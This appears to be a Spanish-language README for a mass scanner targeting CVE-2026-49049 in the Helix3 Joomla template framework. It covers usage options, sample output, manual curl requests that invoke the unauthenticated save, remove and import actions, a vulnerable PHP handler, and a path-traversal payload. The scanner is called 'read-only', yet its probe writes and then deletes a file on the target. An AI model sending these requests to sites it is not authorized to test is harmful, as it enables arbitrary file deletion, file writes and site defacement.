
Escáner de vulnerabilidades de solo lectura para CVE-2026-49049 — Plugin Helix3 de Joomla, manejador AJAX no autenticado
CVE-2026-49049 afecta al framework de plantillas Helix3 para Joomla (versiones 1.0 a 3.1.0). El manejador onAjaxHelix3, accesible a través del despachador com_ajax de Joomla, no realiza ninguna autenticación, autorización o validación CSRF en varias acciones destructivas:
Nota: La acción
importse añadió en Helix3 v3.x. Los sitios que ejecutan v2.x solo se ven afectados porsaveyremove.
La vulnerabilidad fue descubierta por Phil Taylor (mySites.guru) y publicada el 29 de junio de 2026.
| Versión Helix3 | save/remove | import |
|---|---|---|
| 1.0 – 2.x | Vulnerable | No presente |
| 3.0 – 3.1.0 | Vulnerable | Vulnerable |
| 3.1.1+ | Parcheado | Parcheado |
git clone https://github.com/shinthink/CVE-2026-49049.git
cd CVE-2026-49049
pip install -r requirements.txt
# Objetivo único
python cve_2026_49049.py -t 192.168.1.100
# Escaneo masivo
python cve_2026_49049.py -f objetivos.txt -o resultados.txt
# Con informe JSON + modo verbose
python cve_2026_49049.py -f objetivos.txt --json reporte.json -v
-t, --target Objetivo único (dominio o IP)
-f, --file Archivo con objetivos, uno por línea
-o, --output Salida de texto en tiempo real (predeterminado: cve-2026-49049_scan.txt)
--json Informe JSON estructurado (predeterminado: cve-2026-49049_report.json)
--threads Trabajadores concurrentes (predeterminado: 15)
--timeout Tiempo de espera HTTP en segundos (predeterminado: 15)
-v, --verbose Mostrar detalles de la sonda
El escáner realiza una sonda de solo lectura: escribe un archivo JSON inofensivo en la carpeta de diseño de Helix3 a través del endpoint save no autenticado, verifica que se haya escrito y luego lo elimina inmediatamente mediante el endpoint remove. No se dejan cambios persistentes en el objetivo.
$ python cve_2026_49049.py -t 192.168.1.100 -v
CVE-2026-49049 — Helix3 (JoomShaper)
Escáner de manejador AJAX no autenticado de Joomla
[*] save — accesible (sonda: 3a9719da)
[*] remove — accesible (sonda limpiada)
Host : 192.168.1.100
Estado : vulnerable
Helix3 : 2.5.6
Vulnerable: SÍ
save : SÍ
remove : SÍ
import : NO
Tiempo : 2.0s
El escáner sondea estos mismos endpoints. Para verificación manual:
Paso 1 — Confirmar que Helix3 está instalado
curl -sk 'https://objetivo.com/templates/shaper_helix3/templateDetails.xml'
# Busque <version>X.X.X</version>
Paso 2 — Probar acción save (escritura de archivo no autenticada)
curl -sk -X POST \
'https://objetivo.com/index.php?option=com_ajax&plugin=helix3&format=json' \
-d 'data[action]=save&data[layoutName]=_test_sonda&data[content]={"sonda":"test"}'
Paso 3 — Probar acción remove (eliminación de archivo no autenticada)
curl -sk -X POST \
'https://objetivo.com/index.php?option=com_ajax&plugin=helix3&format=json' \
-d 'data[action]=remove&data[layoutName]=_test_sonda.json'
Paso 4 — Probar acción import (solo v3.x, no disponible en v2.x)
curl -sk -X POST \
'https://objetivo.com/index.php?option=com_ajax&plugin=helix3&format=json' \
-d 'data[action]=import&data[template_id]=1&data[settings]={}'
# Nota: import se añadió en Helix3 v3.x.
# Los sitios que ejecutan v2.x devolverán una respuesta vacía para esta acción.
En versiones de Helix3 anteriores a 3.1.1, plugins/ajax/helix3/helix3.php procesa las solicitudes a través de onAjaxHelix3() sin protecciones:
public function onAjaxHelix3()
{
$input = Factory::getApplication()->input;
$data = $input->post->get('data', [], 'array');
$action = $data['action'];
$layoutName = $data['layoutName'];
// No hay comprobación de autenticación. No hay token CSRF. No hay validación de ruta.
$filepath = $layoutPath . $layoutName; // path traversal posible
switch ($action) {
case 'remove':
unlink($filepath); // eliminación de archivos arbitraria
break;
case 'save':
fwrite(fopen($filepath . '.json', 'wb'), $data['content']); // escritura
break;
}
}
layoutName=../../../ubicacion/maliciosa escribe archivos fuera del directorio de diseño previstosave (que añade .json), remove puede apuntar a cualquier tipo de archivocustom_js se renderiza sin escapar en la salida de la plantilla, permitiendo la inyección de script en cada página. Este es el vector utilizado en ataques de desfiguración reales.SOLO CON FINES EDUCATIVOS Y DE PRUEBAS AUTORIZADAS.
Este software está destinado a profesionales de seguridad que realizan pruebas de penetración autorizadas, organizaciones que auditan su propia infraestructura e investigadores que estudian la explotación de vulnerabilidades.
El acceso no autorizado a sistemas informáticos es ilegal y puede violar:
- Estados Unidos: Computer Fraud and Abuse Act (18 U.S.C. 1030)
- Indonesia: UU ITE Pasal 30 & 46
- Unión Europea: Directiva 2013/40/UE
- Reino Unido: Computer Misuse Act 1990
Los autores no asumen ninguna responsabilidad por el uso indebido. Al utilizar este software, usted acepta toda la responsabilidad por sus acciones.
| Recurso | Enlace |
|---|
Este proyecto no está afiliado con JoomShaper, Joomla ni Open Source Matters, Inc.
| Acción | Impacto | Disponible en |
|---|
save | Escribe archivos JSON controlados por atacante con path traversal | Todas las versiones |
remove | Elimina archivos arbitrarios — sin restricción de extensión o ruta | Todas las versiones |
import | Sobrescribe parámetros de plantilla almacenados en la base de datos | solo v3.x |
| Aviso original (mySites.guru) | Helix3 3.1.1 Security Fix |
| Entrada NVD | CVE-2026-49049 |
| OpenCVE | CVE-2026-49049 |
| GitHub de JoomShaper | Repositorio Helix3 |